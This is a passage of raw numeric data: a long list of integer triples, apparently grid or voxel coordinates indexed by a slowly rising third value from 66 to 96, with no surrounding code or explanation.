66],[17, 8, 66],[18, 8, 66],[21, 8, 66],[22, 8, 66],[0, 9, 66],[1, 9, 66],[7, 9, 66],[8, 9, 66],[17, 9, 66],[18, 9, 66],[21, 9, 66],[22, 9, 66],[23, 9, 66],[16, 10, 66],[17, 10, 66],[18, 10, 66],[21, 10, 66],[22, 10, 66],[4, 11, 66],[5, 11, 66],[17, 11, 66],[18, 11, 66],[21, 11, 66],[4, 12, 66],[5, 12, 66],[27, 16, 66],[28, 16, 66],[27, 17, 66],[28, 17, 66],[24, 19, 66],[25, 19, 66],[31, 19, 66],[32, 19, 66],[24, 20, 66],[25, 20, 66],[31, 20, 66],[32, 20, 66],[20, 25, 66],[21, 25, 66],[20, 26, 66],[21, 27, 66],[22, 27, 66],[23, 27, 66],[23, 28, 66],[9, 0, 67],[9, 1, 67],[10, 1, 67],[11, 1, 67],[12, 2, 67],[11, 3, 67],[12, 3, 67],[0, 8, 67],[1, 8, 67],[7, 8, 67],[8, 8, 67],[17, 8, 67],[18, 8, 67],[21, 8, 67],[23, 8, 67],[0, 9, 67],[1, 9, 67],[7, 9, 67],[8, 9, 67],[19, 9, 67],[20, 9, 67],[23, 9, 67],[16, 10, 67],[19, 10, 67],[20, 10, 67],[23, 10, 67],[4, 11, 67],[5, 11, 67],[16, 11, 67],[18, 11, 67],[21, 11, 67],[22, 11, 67],[4, 12, 67],[5, 12, 67],[27, 16, 67],[28, 16, 67],[27, 17, 67],[28, 17, 67],[24, 19, 67],[25, 19, 67],[31, 19, 67],[32, 19, 67],[24, 20, 67],[25, 20, 67],[31, 20, 67],[32, 20, 67],[20, 25, 67],[21, 25, 67],[20, 26, 67],[21, 27, 67],[22, 27, 67],[23, 27, 67],[23, 28, 67],[9, 0, 68],[9, 1, 68],[10, 1, 68],[11, 1, 68],[12, 2, 68],[11, 3, 68],[12, 3, 68],[0, 8, 68],[1, 8, 68],[7, 8, 68],[8, 8, 68],[18, 8, 68],[19, 8, 68],[20, 8, 68],[22, 8, 68],[0, 9, 68],[1, 9, 68],[7, 9, 68],[8, 9, 68],[17, 9, 68],[21, 9, 68],[23, 9, 68],[24, 9, 68],[17, 10, 68],[18, 10, 68],[23, 10, 68],[4, 11, 68],[5, 11, 68],[17, 11, 68],[19, 11, 68],[20, 11, 68],[21, 11, 68],[22, 11, 68],[4, 12, 68],[5, 12, 68],[27, 16, 68],[28, 16, 68],[27, 17, 68],[28, 17, 68],[24, 19, 68],[25, 19, 68],[31, 19, 68],[32, 19, 68],[24, 20, 68],[25, 20, 68],[31, 20, 68],[32, 20, 68],[20, 25, 68],[21, 25, 68],[20, 26, 68],[21, 27, 68],[22, 27, 68],[23, 27, 68],[23, 28, 68],[9, 0, 69],[9, 1, 69],[10, 1, 69],[11, 1, 69],[12, 2, 69],[11, 3, 69],[12, 3, 69],[19, 7, 69],[0, 8, 69],[1, 8, 69],[7, 8, 69],[8, 8, 69],[18, 8, 69],[19, 8, 69],[20, 8, 69],[21, 8, 69],[22, 8, 69],[23, 8, 69],[0, 9, 69],[1, 9, 69],[7, 9, 69],[8, 9, 69],[17, 9, 69],[20, 9, 69],[21, 9, 69],[23, 9, 69],[24, 9, 69],[16, 10, 69],[17, 10, 69],[19, 10, 69],[23, 10, 69],[24, 10, 69],[4, 11, 69],[5, 11, 69],[17, 11, 69],[19, 11, 69],[20, 11, 69],[21, 11, 69],[22, 11, 69],[4, 12, 69],[5, 12, 69],[20, 12, 69],[21, 12, 69],[27, 16, 69],[28, 16, 69],[27, 17, 69],[28, 17, 69],[24, 19, 69],[25, 19, 69],[31, 19, 69],[32, 19, 69],[24, 20, 69],[25, 20, 69],[31, 20, 69],[32, 20, 69],[20, 25, 69],[21, 25, 69],[20, 26, 69],[21, 27, 69],[22, 27, 69],[23, 27, 69],[23, 28, 69],[9, 0, 70],[9, 1, 70],[10, 1, 70],[11, 1, 70],[12, 2, 70],[11, 3, 70],[12, 3, 70],[18, 7, 70],[19, 7, 70],[21, 7, 70],[22, 7, 70],[0, 8, 70],[1, 8, 70],[7, 8, 70],[8, 8, 70],[18, 8, 70],[23, 8, 70],[24, 8, 70],[0, 9, 70],[1, 9, 70],[7, 9, 70],[8, 9, 70],[16, 9, 70],[17, 9, 70],[16, 10, 70],[17, 10, 70],[19, 10, 70],[24, 10, 70],[4, 11, 70],[5, 11, 70],[16, 11, 70],[17, 11, 70],[19, 11, 70],[22, 11, 70],[23, 11, 70],[4, 12, 70],[5, 12, 70],[19, 12, 70],[22, 12, 70],[27, 16, 70],[28, 16, 70],[27, 17, 70],[28, 17, 70],[24, 19, 70],[25, 19, 70],[31, 19, 70],[32, 19, 70],[24, 20, 70],[25, 20, 70],[31, 20, 70],[32, 20, 70],[20, 25, 70],[21, 25, 70],[20, 26, 70],[21, 27, 70],[22, 27, 70],[23, 27, 70],[23, 28, 70],[9, 0, 71],[9, 1, 71],[10, 1, 71],[11, 1, 71],[12, 2, 71],[11, 3, 71],[12, 3, 71],[18, 7, 71],[19, 7, 71],[22, 7, 71],[23, 7, 71],[0, 8, 71],[1, 8, 71],[7, 8, 71],[8, 8, 71],[18, 8, 71],[19, 8, 71],[22, 8, 71],[23, 8, 71],[0, 9, 71],[1, 9, 71],[7, 9, 71],[8, 9, 71],[16, 9, 71],[23, 9, 71],[24, 9, 71],[15, 10, 71],[23, 10, 71],[4, 11, 71],[5, 11, 71],[16, 11, 71],[17, 11, 71],[19, 11, 71],[20, 11, 71],[22, 11, 71],[23, 11, 71],[4, 12, 71],[5, 12, 71],[18, 12, 71],[22, 12, 71],[23, 12, 71],[27, 16, 71],[28, 16, 71],[27, 17, 71],[28, 17, 71],[24, 19, 71],[25, 19, 71],[31, 19, 71],[32, 19, 71],[24, 20, 71],[25, 20, 71],[31, 20, 71],[32, 20, 71],[20, 25, 71],[21, 25, 71],[20, 26, 71],[21, 27, 71],[22, 27, 71],[23, 27, 71],[23, 28, 71],[9, 0, 72],[9, 1, 72],[10, 1, 72],[11, 1, 72],[12, 2, 72],[11, 3, 72],[12, 3, 72],[18, 7, 72],[19, 7, 72],[22, 7, 72],[23, 7, 72],[0, 8, 72],[1, 8, 72],[7, 8, 72],[8, 8, 72],[17, 8, 72],[18, 8, 72],[19, 8, 72],[0, 9, 72],[1, 9, 72],[7, 9, 72],[8, 9, 72],[24, 9, 72],[15, 10, 72],[17, 10, 72],[4, 11, 72],[5, 11, 72],[16, 11, 72],[17, 11, 72],[18, 11, 72],[19, 11, 72],[21, 11, 72],[24, 11, 72],[4, 12, 72],[5, 12, 72],[17, 12, 72],[18, 12, 72],[19, 12, 72],[21, 12, 72],[22, 12, 72],[23, 12, 72],[27, 16, 72],[28, 16, 72],[27, 17, 72],[28, 17, 72],[24, 19, 72],[25, 19, 72],[31, 19, 72],[32, 19, 72],[24, 20, 72],[25, 20, 72],[31, 20, 72],[32, 20, 72],[20, 25, 72],[21, 25, 72],[20, 26, 72],[21, 27, 72],[22, 27, 72],[23, 27, 72],[23, 28, 72],[9, 0, 73],[9, 1, 73],[10, 1, 73],[11, 1, 73],[12, 2, 73],[11, 3, 73],[12, 3, 73],[17, 7, 73],[19, 7, 73],[0, 8, 73],[1, 8, 73],[7, 8, 73],[8, 8, 73],[17, 8, 73],[19, 8, 73],[23, 8, 73],[0, 9, 73],[1, 9, 73],[7, 9, 73],[8, 9, 73],[16, 9, 73],[17, 9, 73],[17, 10, 73],[4, 11, 73],[5, 11, 73],[19, 11, 73],[21, 11, 73],[23, 11, 73],[4, 12, 73],[5, 12, 73],[16, 12, 73],[19, 12, 73],[21, 12, 73],[22, 12, 73],[23, 12, 73],[18, 13, 73],[22, 13, 73],[27, 16, 73],[28, 16, 73],[27, 17, 73],[28, 17, 73],[24, 19, 73],[25, 19, 73],[31, 19, 73],[32, 19, 73],[24, 20, 73],[25, 20, 73],[31, 20, 73],[32, 20, 73],[20, 25, 73],[21, 25, 73],[20, 26, 73],[21, 27, 73],[22, 27, 73],[23, 27, 73],[23, 28, 73],[9, 0, 74],[9, 1, 74],[10, 1, 74],[11, 1, 74],[12, 2, 74],[11, 3, 74],[12, 3, 74],[0, 8, 74],[1, 8, 74],[7, 8, 74],[8, 8, 74],[17, 8, 74],[0, 9, 74],[1, 9, 74],[7, 9, 74],[8, 9, 74],[16, 9, 74],[17, 9, 74],[16, 10, 74],[17, 10, 74],[18, 10, 74],[4, 11, 74],[5, 11, 74],[18, 11, 74],[21, 11, 74],[23, 11, 74],[4, 12, 74],[5, 12, 74],[18, 12, 74],[19, 12, 74],[21, 12, 74],[23, 12, 74],[21, 13, 74],[22, 13, 74],[23, 13, 74],[27, 16, 74],[28, 16, 74],[27, 17, 74],[28, 17, 74],[24, 19, 74],[25, 19, 74],[31, 19, 74],[32, 19, 74],[24, 20, 74],[25, 20, 74],[31, 20, 74],[32, 20, 74],[20, 25, 74],[21, 25, 74],[20, 26, 74],[21, 27, 74],[22, 27, 74],[23, 27, 74],[23, 28, 74],[9, 0, 75],[9, 1, 75],[10, 1, 75],[11, 1, 75],[12, 2, 75],[11, 3, 75],[12, 3, 75],[0, 8, 75],[1, 8, 75],[7, 8, 75],[8, 8, 75],[16, 8, 75],[17, 8, 75],[0, 9, 75],[1, 9, 75],[7, 9, 75],[8, 9, 75],[16, 10, 75],[18, 10, 75],[4, 11, 75],[5, 11, 75],[20, 11, 75],[4, 12, 75],[5, 12, 75],[18, 12, 75],[19, 12, 75],[21, 12, 75],[23, 12, 75],[24, 12, 75],[20, 13, 75],[21, 13, 75],[23, 13, 75],[22, 14, 75],[27, 16, 75],[28, 16, 75],[27, 17, 75],[28, 17, 75],[24, 19, 75],[25, 19, 75],[31, 19, 75],[32, 19, 75],[24, 20, 75],[25, 20, 75],[31, 20, 75],[32, 20, 75],[20, 25, 75],[21, 25, 75],[20, 26, 75],[21, 27, 75],[22, 27, 75],[23, 27, 75],[23, 28, 75],[9, 0, 76],[9, 1, 76],[10, 1, 76],[11, 1, 76],[12, 2, 76],[11, 3, 76],[12, 3, 76],[0, 8, 76],[1, 8, 76],[7, 8, 76],[8, 8, 76],[0, 9, 76],[1, 9, 76],[7, 9, 76],[8, 9, 76],[16, 9, 76],[4, 11, 76],[5, 11, 76],[17, 11, 76],[18, 11, 76],[20, 11, 76],[4, 12, 76],[5, 12, 76],[19, 12, 76],[21, 12, 76],[23, 12, 76],[24, 12, 76],[19, 13, 76],[20, 13, 76],[21, 13, 76],[23, 13, 76],[24, 13, 76],[21, 14, 76],[22, 14, 76],[27, 16, 76],[28, 16, 76],[27, 17, 76],[28, 17, 76],[24, 19, 76],[25, 19, 76],[31, 19, 76],[32, 19, 76],[24, 20, 76],[25, 20, 76],[31, 20, 76],[32, 20, 76],[20, 25, 76],[21, 25, 76],[20, 26, 76],[21, 27, 76],[22, 27, 76],[23, 27, 76],[23, 28, 76],[9, 0, 77],[9, 1, 77],[10, 1, 77],[11, 1, 77],[12, 2, 77],[11, 3, 77],[12, 3, 77],[0, 8, 77],[1, 8, 77],[7, 8, 77],[8, 8, 77],[0, 9, 77],[1, 9, 77],[7, 9, 77],[8, 9, 77],[17, 10, 77],[4, 11, 77],[5, 11, 77],[18, 11, 77],[19, 11, 77],[20, 11, 77],[4, 12, 77],[5, 12, 77],[21, 12, 77],[23, 12, 77],[24, 12, 77],[19, 13, 77],[24, 13, 77],[21, 14, 77],[22, 14, 77],[23, 14, 77],[27, 16, 77],[28, 16, 77],[27, 17, 77],[28, 17, 77],[24, 19, 77],[25, 19, 77],[31, 19, 77],[32, 19, 77],[24, 20, 77],[25, 20, 77],[31, 20, 77],[32, 20, 77],[20, 25, 77],[21, 25, 77],[20, 26, 77],[21, 27, 77],[22, 27, 77],[23, 27, 77],[23, 28, 77],[9, 0, 78],[9, 1, 78],[10, 1, 78],[11, 1, 78],[12, 2, 78],[11, 3, 78],[12, 3, 78],[0, 8, 78],[1, 8, 78],[7, 8, 78],[8, 8, 78],[0, 9, 78],[1, 9, 78],[7, 9, 78],[8, 9, 78],[18, 10, 78],[19, 10, 78],[4, 11, 78],[5, 11, 78],[18, 11, 78],[19, 11, 78],[20, 11, 78],[4, 12, 78],[5, 12, 78],[18, 12, 78],[23, 12, 78],[24, 12, 78],[20, 13, 78],[21, 13, 78],[24, 13, 78],[22, 14, 78],[23, 14, 78],[22, 15, 78],[27, 16, 78],[28, 16, 78],[27, 17, 78],[28, 17, 78],[24, 19, 78],[25, 19, 78],[31, 19, 78],[32, 19, 78],[24, 20, 78],[25, 20, 78],[31, 20, 78],[32, 20, 78],[20, 25, 78],[21, 25, 78],[20, 26, 78],[21, 27, 78],[22, 27, 78],[23, 27, 78],[23, 28, 78],[9, 0, 79],[9, 1, 79],[10, 1, 79],[11, 1, 79],[12, 2, 79],[11, 3, 79],[12, 3, 79],[0, 8, 79],[1, 8, 79],[7, 8, 79],[8, 8, 79],[0, 9, 79],[1, 9, 79],[7, 9, 79],[8, 9, 79],[18, 10, 79],[20, 10, 79],[4, 11, 79],[5, 11, 79],[17, 11, 79],[20, 11, 79],[4, 12, 79],[5, 12, 79],[18, 12, 79],[21, 12, 79],[23, 12, 79],[24, 12, 79],[21, 13, 79],[24, 13, 79],[22, 14, 79],[23, 14, 79],[22, 15, 79],[23, 15, 79],[27, 16, 79],[28, 16, 79],[27, 17, 79],[28, 17, 79],[24, 19, 79],[25, 19, 79],[31, 19, 79],[32, 19, 79],[24, 20, 79],[25, 20, 79],[31, 20, 79],[32, 20, 79],[20, 25, 79],[21, 25, 79],[20, 26, 79],[21, 27, 79],[22, 27, 79],[23, 27, 79],[23, 28, 79],[9, 0, 80],[9, 1, 80],[10, 1, 80],[11, 1, 80],[12, 2, 80],[11, 3, 80],[12, 3, 80],[0, 8, 80],[1, 8, 80],[7, 8, 80],[8, 8, 80],[0, 9, 80],[1, 9, 80],[7, 9, 80],[8, 9, 80],[19, 10, 80],[4, 11, 80],[5, 11, 80],[17, 11, 80],[18, 11, 80],[20, 11, 80],[21, 11, 80],[4, 12, 80],[5, 12, 80],[20, 12, 80],[21, 12, 80],[22, 12, 80],[23, 12, 80],[24, 12, 80],[21, 13, 80],[24, 13, 80],[21, 14, 80],[24, 14, 80],[22, 15, 80],[23, 15, 80],[27, 16, 80],[28, 16, 80],[27, 17, 80],[28, 17, 80],[24, 19, 80],[25, 19, 80],[31, 19, 80],[32, 19, 80],[24, 20, 80],[25, 20, 80],[31, 20, 80],[32, 20, 80],[20, 25, 80],[21, 25, 80],[20, 26, 80],[21, 27, 80],[22, 27, 80],[23, 27, 80],[23, 28, 80],[9, 0, 81],[9, 1, 81],[10, 1, 81],[11, 1, 81],[12, 2, 81],[11, 3, 81],[12, 3, 81],[0, 8, 81],[1, 8, 81],[7, 8, 81],[8, 8, 81],[0, 9, 81],[1, 9, 81],[7, 9, 81],[8, 9, 81],[18, 10, 81],[19, 10, 81],[20, 10, 81],[4, 11, 81],[5, 11, 81],[18, 11, 81],[23, 11, 81],[4, 12, 81],[5, 12, 81],[19, 12, 81],[23, 12, 81],[24, 12, 81],[24, 13, 81],[25, 13, 81],[21, 14, 81],[24, 14, 81],[22, 15, 81],[23, 15, 81],[27, 16, 81],[28, 16, 81],[27, 17, 81],[28, 17, 81],[24, 19, 81],[25, 19, 81],[31, 19, 81],[32, 19, 81],[24, 20, 81],[25, 20, 81],[31, 20, 81],[32, 20, 81],[20, 25, 81],[21, 25, 81],[20, 26, 81],[21, 27, 81],[22, 27, 81],[23, 27, 81],[23, 28, 81],[9, 0, 82],[9, 1, 82],[10, 1, 82],[11, 1, 82],[12, 2, 82],[11, 3, 82],[12, 3, 82],[0, 8, 82],[1, 8, 82],[7, 8, 82],[8, 8, 82],[0, 9, 82],[1, 9, 82],[7, 9, 82],[8, 9, 82],[19, 9, 82],[18, 10, 82],[19, 10, 82],[4, 11, 82],[5, 11, 82],[18, 11, 82],[20, 11, 82],[23, 11, 82],[24, 11, 82],[4, 12, 82],[5, 12, 82],[23, 12, 82],[25, 12, 82],[25, 13, 82],[22, 14, 82],[24, 14, 82],[25, 14, 82],[22, 15, 82],[23, 15, 82],[27, 16, 82],[28, 16, 82],[27, 17, 82],[28, 17, 82],[24, 19, 82],[25, 19, 82],[31, 19, 82],[32, 19, 82],[24, 20, 82],[25, 20, 82],[31, 20, 82],[32, 20, 82],[20, 25, 82],[21, 25, 82],[20, 26, 82],[21, 27, 82],[22, 27, 82],[23, 27, 82],[23, 28, 82],[9, 0, 83],[9, 1, 83],[10, 1, 83],[11, 1, 83],[12, 2, 83],[11, 3, 83],[12, 3, 83],[0, 8, 83],[1, 8, 83],[7, 8, 83],[8, 8, 83],[0, 9, 83],[1, 9, 83],[7, 9, 83],[8, 9, 83],[18, 9, 83],[19, 9, 83],[18, 10, 83],[20, 10, 83],[4, 11, 83],[5, 11, 83],[18, 11, 83],[23, 11, 83],[24, 11, 83],[4, 12, 83],[5, 12, 83],[23, 12, 83],[25, 12, 83],[23, 13, 83],[25, 13, 83],[26, 13, 83],[22, 14, 83],[24, 14, 83],[25, 14, 83],[22, 15, 83],[23, 15, 83],[24, 15, 83],[27, 16, 83],[28, 16, 83],[27, 17, 83],[28, 17, 83],[24, 19, 83],[25, 19, 83],[31, 19, 83],[32, 19, 83],[24, 20, 83],[25, 20, 83],[31, 20, 83],[32, 20, 83],[20, 25, 83],[21, 25, 83],[20, 26, 83],[21, 27, 83],[22, 27, 83],[23, 27, 83],[23, 28, 83],[9, 0, 84],[9, 1, 84],[10, 1, 84],[11, 1, 84],[12, 2, 84],[11, 3, 84],[12, 3, 84],[0, 8, 84],[1, 8, 84],[7, 8, 84],[8, 8, 84],[0, 9, 84],[1, 9, 84],[7, 9, 84],[8, 9, 84],[18, 9, 84],[19, 9, 84],[17, 10, 84],[18, 10, 84],[4, 11, 84],[5, 11, 84],[19, 11, 84],[23, 11, 84],[24, 11, 84],[4, 12, 84],[5, 12, 84],[22, 12, 84],[23, 12, 84],[25, 12, 84],[26, 12, 84],[22, 13, 84],[23, 13, 84],[26, 13, 84],[22, 14, 84],[26, 14, 84],[22, 15, 84],[24, 15, 84],[25, 15, 84],[23, 16, 84],[27, 16, 84],[28, 16, 84],[27, 17, 84],[28, 17, 84],[24, 19, 84],[25, 19, 84],[31, 19, 84],[32, 19, 84],[24, 20, 84],[25, 20, 84],[31, 20, 84],[32, 20, 84],[20, 25, 84],[21, 25, 84],[20, 26, 84],[21, 27, 84],[22, 27, 84],[23, 27, 84],[23, 28, 84],[9, 0, 85],[9, 1, 85],[10, 1, 85],[11, 1, 85],[12, 2, 85],[11, 3, 85],[12, 3, 85],[0, 8, 85],[1, 8, 85],[7, 8, 85],[8, 8, 85],[0, 9, 85],[1, 9, 85],[7, 9, 85],[8, 9, 85],[17, 9, 85],[18, 9, 85],[19, 9, 85],[17, 10, 85],[4, 11, 85],[5, 11, 85],[18, 11, 85],[22, 11, 85],[23, 11, 85],[24, 11, 85],[25, 11, 85],[4, 12, 85],[5, 12, 85],[25, 12, 85],[26, 12, 85],[21, 13, 85],[24, 13, 85],[26, 13, 85],[27, 13, 85],[21, 14, 85],[22, 14, 85],[24, 14, 85],[26, 14, 85],[22, 15, 85],[24, 15, 85],[25, 15, 85],[26, 15, 85],[27, 15, 85],[23, 16, 85],[24, 16, 85],[26, 16, 85],[27, 16, 85],[28, 16, 85],[27, 17, 85],[28, 17, 85],[24, 19, 85],[25, 19, 85],[31, 19, 85],[32, 19, 85],[24, 20, 85],[25, 20, 85],[31, 20, 85],[32, 20, 85],[20, 25, 85],[21, 25, 85],[20, 26, 85],[21, 27, 85],[22, 27, 85],[23, 27, 85],[23, 28, 85],[9, 0, 86],[9, 1, 86],[10, 1, 86],[11, 1, 86],[12, 2, 86],[11, 3, 86],[12, 3, 86],[0, 8, 86],[1, 8, 86],[7, 8, 86],[8, 8, 86],[18, 8, 86],[0, 9, 86],[1, 9, 86],[7, 9, 86],[8, 9, 86],[17, 9, 86],[18, 9, 86],[17, 10, 86],[19, 10, 86],[23, 10, 86],[24, 10, 86],[4, 11, 86],[5, 11, 86],[23, 11, 86],[24, 11, 86],[25, 11, 86],[26, 11, 86],[4, 12, 86],[5, 12, 86],[22, 12, 86],[27, 12, 86],[21, 13, 86],[22, 13, 86],[23, 13, 86],[24, 13, 86],[27, 13, 86],[21, 14, 86],[22, 14, 86],[24, 14, 86],[21, 15, 86],[22, 15, 86],[28, 15, 86],[23, 16, 86],[24, 16, 86],[26, 17, 86],[28, 17, 86],[24, 19, 86],[25, 19, 86],[31, 19, 86],[32, 19, 86],[24, 20, 86],[25, 20, 86],[31, 20, 86],[32, 20, 86],[20, 25, 86],[21, 25, 86],[20, 26, 86],[21, 27, 86],[22, 27, 86],[23, 27, 86],[23, 28, 86],[9, 0, 87],[9, 1, 87],[10, 1, 87],[11, 1, 87],[12, 2, 87],[11, 3, 87],[12, 3, 87],[0, 8, 87],[1, 8, 87],[7, 8, 87],[8, 8, 87],[17, 8, 87],[18, 8, 87],[0, 9, 87],[1, 9, 87],[7, 9, 87],[8, 9, 87],[17, 9, 87],[19, 9, 87],[17, 10, 87],[23, 10, 87],[4, 11, 87],[5, 11, 87],[22, 11, 87],[25, 11, 87],[26, 11, 87],[4, 12, 87],[5, 12, 87],[21, 12, 87],[27, 12, 87],[24, 13, 87],[20, 14, 87],[24, 14, 87],[21, 15, 87],[24, 15, 87],[22, 16, 87],[23, 16, 87],[27, 16, 87],[25, 18, 87],[24, 19, 87],[25, 19, 87],[31, 19, 87],[32, 19, 87],[24, 20, 87],[25, 20, 87],[31, 20, 87],[32, 20, 87],[20, 25, 87],[21, 25, 87],[20, 26, 87],[21, 27, 87],[22, 27, 87],[23, 27, 87],[23, 28, 87],[9, 0, 88],[9, 1, 88],[10, 1, 88],[11, 1, 88],[12, 2, 88],[11, 3, 88],[12, 3, 88],[0, 8, 88],[1, 8, 88],[7, 8, 88],[8, 8, 88],[17, 8, 88],[18, 8, 88],[0, 9, 88],[1, 9, 88],[7, 9, 88],[8, 9, 88],[16, 9, 88],[17, 9, 88],[18, 10, 88],[4, 11, 88],[5, 11, 88],[22, 11, 88],[26, 11, 88],[4, 12, 88],[5, 12, 88],[25, 12, 88],[26, 12, 88],[23, 14, 88],[24, 14, 88],[25, 14, 88],[21, 15, 88],[22, 15, 88],[24, 15, 88],[22, 16, 88],[23, 16, 88],[24, 18, 88],[25, 18, 88],[26, 19, 88],[31, 19, 88],[32, 19, 88],[24, 20, 88],[25, 20, 88],[31, 20, 88],[32, 20, 88],[20, 25, 88],[21, 25, 88],[20, 26, 88],[21, 27, 88],[22, 27, 88],[23, 27, 88],[23, 28, 88],[9, 0, 89],[9, 1, 89],[10, 1, 89],[11, 1, 89],[12, 2, 89],[11, 3, 89],[12, 3, 89],[0, 8, 89],[1, 8, 89],[7, 8, 89],[8, 8, 89],[16, 8, 89],[17, 8, 89],[18, 8, 89],[0, 9, 89],[1, 9, 89],[7, 9, 89],[8, 9, 89],[16, 9, 89],[17, 10, 89],[4, 11, 89],[5, 11, 89],[25, 11, 89],[26, 11, 89],[4, 12, 89],[5, 12, 89],[25, 12, 89],[26, 12, 89],[26, 13, 89],[22, 14, 89],[23, 14, 89],[24, 14, 89],[25, 14, 89],[21, 15, 89],[25, 15, 89],[21, 16, 89],[22, 16, 89],[23, 16, 89],[23, 17, 89],[24, 17, 89],[25, 18, 89],[26, 19, 89],[31, 19, 89],[32, 19, 89],[25, 20, 89],[31, 20, 89],[32, 20, 89],[20, 25, 89],[21, 25, 89],[20, 26, 89],[21, 27, 89],[22, 27, 89],[23, 27, 89],[23, 28, 89],[9, 0, 90],[9, 1, 90],[10, 1, 90],[11, 1, 90],[12, 2, 90],[11, 3, 90],[12, 3, 90],[17, 7, 90],[0, 8, 90],[1, 8, 90],[7, 8, 90],[8, 8, 90],[16, 8, 90],[17, 8, 90],[0, 9, 90],[1, 9, 90],[7, 9, 90],[8, 9, 90],[16, 9, 90],[18, 9, 90],[4, 11, 90],[5, 11, 90],[25, 11, 90],[26, 11, 90],[4, 12, 90],[5, 12, 90],[27, 12, 90],[23, 13, 90],[26, 13, 90],[22, 14, 90],[23, 14, 90],[24, 14, 90],[25, 14, 90],[26, 14, 90],[21, 15, 90],[25, 15, 90],[21, 16, 90],[23, 16, 90],[23, 17, 90],[24, 17, 90],[24, 18, 90],[25, 18, 90],[25, 19, 90],[26, 19, 90],[31, 19, 90],[32, 19, 90],[31, 20, 90],[32, 20, 90],[20, 25, 90],[21, 25, 90],[20, 26, 90],[21, 27, 90],[22, 27, 90],[23, 27, 90],[23, 28, 90],[9, 0, 91],[9, 1, 91],[10, 1, 91],[11, 1, 91],[12, 2, 91],[11, 3, 91],[12, 3, 91],[16, 7, 91],[17, 7, 91],[0, 8, 91],[1, 8, 91],[7, 8, 91],[8, 8, 91],[16, 8, 91],[18, 8, 91],[0, 9, 91],[1, 9, 91],[7, 9, 91],[8, 9, 91],[16, 9, 91],[4, 11, 91],[5, 11, 91],[26, 11, 91],[4, 12, 91],[5, 12, 91],[25, 12, 91],[27, 12, 91],[22, 13, 91],[23, 13, 91],[26, 13, 91],[27, 13, 91],[22, 14, 91],[23, 14, 91],[26, 14, 91],[21, 15, 91],[25, 15, 91],[26, 15, 91],[23, 16, 91],[22, 17, 91],[23, 17, 91],[25, 17, 91],[23, 18, 91],[26, 18, 91],[24, 19, 91],[25, 19, 91],[26, 19, 91],[31, 19, 91],[32, 19, 91],[31, 20, 91],[32, 20, 91],[20, 25, 91],[21, 25, 91],[20, 26, 91],[21, 27, 91],[22, 27, 91],[23, 27, 91],[23, 28, 91],[9, 0, 92],[9, 1, 92],[10, 1, 92],[11, 1, 92],[12, 2, 92],[11, 3, 92],[12, 3, 92],[16, 7, 92],[17, 7, 92],[0, 8, 92],[1, 8, 92],[7, 8, 92],[8, 8, 92],[15, 8, 92],[16, 8, 92],[0, 9, 92],[1, 9, 92],[7, 9, 92],[8, 9, 92],[17, 9, 92],[4, 11, 92],[5, 11, 92],[26, 11, 92],[4, 12, 92],[5, 12, 92],[25, 12, 92],[27, 12, 92],[22, 13, 92],[23, 13, 92],[24, 13, 92],[25, 13, 92],[27, 13, 92],[21, 14, 92],[23, 14, 92],[24, 14, 92],[23, 15, 92],[24, 15, 92],[25, 15, 92],[26, 15, 92],[23, 16, 92],[25, 16, 92],[26, 16, 92],[22, 17, 92],[23, 17, 92],[22, 18, 92],[23, 18, 92],[26, 18, 92],[24, 19, 92],[25, 19, 92],[26, 19, 92],[31, 19, 92],[32, 19, 92],[25, 20, 92],[31, 20, 92],[32, 20, 92],[20, 25, 92],[21, 25, 92],[20, 26, 92],[21, 27, 92],[22, 27, 92],[23, 27, 92],[23, 28, 92],[9, 0, 93],[9, 1, 93],[10, 1, 93],[11, 1, 93],[12, 2, 93],[11, 3, 93],[12, 3, 93],[15, 7, 93],[16, 7, 93],[17, 7, 93],[0, 8, 93],[1, 8, 93],[7, 8, 93],[8, 8, 93],[15, 8, 93],[0, 9, 93],[1, 9, 93],[7, 9, 93],[8, 9, 93],[16, 9, 93],[4, 11, 93],[5, 11, 93],[26, 11, 93],[4, 12, 93],[5, 12, 93],[23, 12, 93],[25, 12, 93],[27, 12, 93],[22, 13, 93],[25, 13, 93],[26, 15, 93],[26, 16, 93],[25, 17, 93],[26, 17, 93],[22, 18, 93],[26, 18, 93],[23, 19, 93],[24, 19, 93],[26, 19, 93],[31, 19, 93],[32, 19, 93],[24, 20, 93],[25, 20, 93],[26, 20, 93],[31, 20, 93],[32, 20, 93],[20, 25, 93],[21, 25, 93],[20, 26, 93],[21, 27, 93],[22, 27, 93],[23, 27, 93],[23, 28, 93],[9, 0, 94],[9, 1, 94],[10, 1, 94],[11, 1, 94],[12, 2, 94],[11, 3, 94],[12, 3, 94],[16, 6, 94],[15, 7, 94],[16, 7, 94],[0, 8, 94],[1, 8, 94],[7, 8, 94],[8, 8, 94],[15, 8, 94],[17, 8, 94],[0, 9, 94],[1, 9, 94],[7, 9, 94],[8, 9, 94],[4, 11, 94],[5, 11, 94],[26, 11, 94],[4, 12, 94],[5, 12, 94],[24, 12, 94],[25, 12, 94],[24, 13, 94],[26, 13, 94],[26, 16, 94],[27, 16, 94],[25, 17, 94],[26, 17, 94],[27, 17, 94],[23, 18, 94],[24, 18, 94],[26, 18, 94],[27, 18, 94],[23, 19, 94],[24, 19, 94],[26, 19, 94],[27, 19, 94],[31, 19, 94],[32, 19, 94],[23, 20, 94],[24, 20, 94],[26, 20, 94],[31, 20, 94],[32, 20, 94],[25, 21, 94],[20, 25, 94],[21, 25, 94],[20, 26, 94],[21, 27, 94],[22, 27, 94],[23, 27, 94],[23, 28, 94],[9, 0, 95],[9, 1, 95],[10, 1, 95],[11, 1, 95],[12, 2, 95],[11, 3, 95],[12, 3, 95],[15, 6, 95],[16, 6, 95],[15, 7, 95],[17, 7, 95],[0, 8, 95],[1, 8, 95],[7, 8, 95],[8, 8, 95],[15, 8, 95],[0, 9, 95],[1, 9, 95],[7, 9, 95],[8, 9, 95],[4, 11, 95],[5, 11, 95],[25, 11, 95],[4, 12, 95],[5, 12, 95],[24, 12, 95],[26, 12, 95],[24, 13, 95],[25, 16, 95],[27, 16, 95],[24, 17, 95],[28, 17, 95],[23, 18, 95],[28, 18, 95],[22, 19, 95],[31, 19, 95],[32, 19, 95],[23, 20, 95],[26, 20, 95],[27, 20, 95],[31, 20, 95],[32, 20, 95],[24, 21, 95],[25, 21, 95],[20, 25, 95],[21, 25, 95],[20, 26, 95],[21, 27, 95],[22, 27, 95],[23, 27, 95],[23, 28, 95],[9, 0, 96],[9, 1, 96],[10, 1, 96],[11, 1, 96],[12, 2, 96],[11, 3, 96],[12, 3, 96],[15, 6, 96],[16, 6, 96],[14, 7, 96],[15, 7, 96],[0, 